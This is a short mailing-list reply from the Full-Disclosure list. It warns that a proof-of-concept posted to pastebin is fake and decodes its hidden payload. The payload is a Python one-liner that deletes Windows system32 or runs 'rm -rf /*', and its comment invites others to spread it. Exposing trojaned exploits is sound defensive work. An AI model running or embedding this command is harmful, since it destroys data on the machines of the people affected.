It's a fake and delete your disk completely.
If you convert the payload to ascii
"__import__('os').sys"
"tem('del /s /q /f C:"
"\windows\system32\* "
"> NUL 2>&1') if 'Win"
"' in __import__('pla"
"tform').system() els"
"e __import__('os').s"
"ystem('rm -rf /* > /"
"dev/null 2>&1') #hi "
"there ^_~ feel free "
"to spread this with "
"the rm -rf replaced "
"with something more "
"insidious"
---
Huzeyfe ONAL
Bilgi Güvenliği AKADEMİSİ
http://www.bga.com.tr
BGA Ankara & İstanbul Eğitim Takvimi
http://www.bga.com.tr/?page_id=944
---
On Sat, Mar 17, 2012 at 7:45 AM, yuri goncalves soares <[email protected]>wrote:
> Another POC.
>
> http://pastebin.com/GM4sHj9t
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
